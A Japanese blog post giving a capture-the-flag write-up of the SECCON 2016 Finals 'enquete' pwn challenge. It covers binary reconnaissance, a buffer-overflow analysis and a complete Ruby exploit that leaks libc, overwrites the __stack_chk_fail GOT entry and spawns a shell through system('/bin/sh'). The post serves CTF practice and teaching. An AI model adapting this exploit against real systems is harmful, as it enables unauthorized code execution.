読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

SECCON 2016 Finals enquete(pwn100)

総合的な感想はこちら

encry1024.hatenablog.com

下調べ

vagrant@ubuntu4ctf ~/c/s/c/enquete> file enquete | sed -e 's/, /\n/g'                 ASLR: ON
enquete: ELF 32-bit LSB executable
Intel 80386
version 1 (SYSV)
dynamically linked
interpreter /lib/ld-linux.so.2
for GNU/Linux 2.6.24
BuildID[sha1]=0e97ebd89f7da13f10dac56bc8d4c858f62ac500
not stripped
vagrant@ubuntu4ctf ~/c/s/c/enquete> checksec --file enquete                           ASLR: ON
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY       Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes  04       enquete

※libcは配布されている

解析

What is your name?
>> Binary Oishi
Hi, Binary Oishi
Do you like pwning?
>> Yes, I do
Thank you for your cooperation in the enquete!
  • ランダムで質問が表示される.
  • 質問の前に名前を入力できて,そこでBOFが起こせる
    • information leakが起こる
  • 質問の解答を保存するバッファをBOFで上書きして任意のとこにできる

Exploit

Canaryがあるけど,Partial RELROだったし任意アドレスの書き換えもできるので,stack_chk_failを書き換えてReturn to vuln的な感じで行こうと考えた.名前入力時のBOFを使って,readのアドレスをリークして,libcベース求めて,systemと/bin/sh出すのと,stack_chk_failのgotを脆弱性がある関数に変更する.あとは,飛び先がうまくなるように適当にスタックを配置する.
そんな感じで作ったのが以下のexploit.正直急いでいたので,ハードコーディングしてるアドレスが何かなんて覚えちゃいない.

#!/usr/bin/env ruby
# coding: ascii-8bit
require 'pwnlib'

host = 'localhost'
port = 8888
offset_read   = 0xd5980
offset_system = 0x3ada0
offset_binsh  = 0x15b82b


if(ARGV[0] == 'r')
  host = '10.100.6.1'
  port = 28353
  offset_read   = 0xdaf60
  offset_system = 0x40310
  offset_binsh  = 0x16084c
end

PwnTube.open(host, port) do |t|
  
  enquete_addr       = 0x80485c2
  main_addr          = 0x804852d
  read_got           = 0x804a00c
  stack_chk_fail_got = 0x804a018
  addesp_44          = 0x80486e9

  payload = "A" * 84
  payload << p32(read_got)
  payload << p32(stack_chk_fail_got)
  t.recv_until(">> ")
  t.sendline(payload)
  
  t.recv_until("\n")
  read_got = t.recv(4).unpack("L")[0]
  
  libc_base   = read_got - offset_read
  libc_system = libc_base + offset_system
  libc_binsh  = libc_base + offset_binsh
  
  puts "[+] libc base   0x%x" % libc_base
  puts "[+] libc system 0x%x" % libc_system
  puts "[+] libc binsh  0x%x" % libc_binsh

  t.sendline(p32(main_addr))
  t.recv_until(">> ")

  payload = "B" * 8
  payload << p32(libc_system)
  payload << "HACK"
  payload << p32(libc_binsh) 
  payload << "C" * 64
  payload << p32(libc_binsh) # %sで表示されるので参照できるアドレスであればOK
  payload << p32(stack_chk_fail_got)
  t.sendline(payload)
  
  payload = ""
  payload << p32(0x8048614)
  t.sendline(payload)
  t.recv_until(">> ")
  
  payload = p32(addesp_44)
  payload << "D" * 80
  payload << p32(libc_binsh) # %sで表示されるので参照できるアドレスであればOK
  payload << p32(stack_chk_fail_got)
  t.sendline(payload)

  payload = ""
  payload << p32(main_addr)
  t.sendline(payload)
  t.recv_until(">> ")

  t.shell
end

感想

久しぶりのやっつけexploitだった.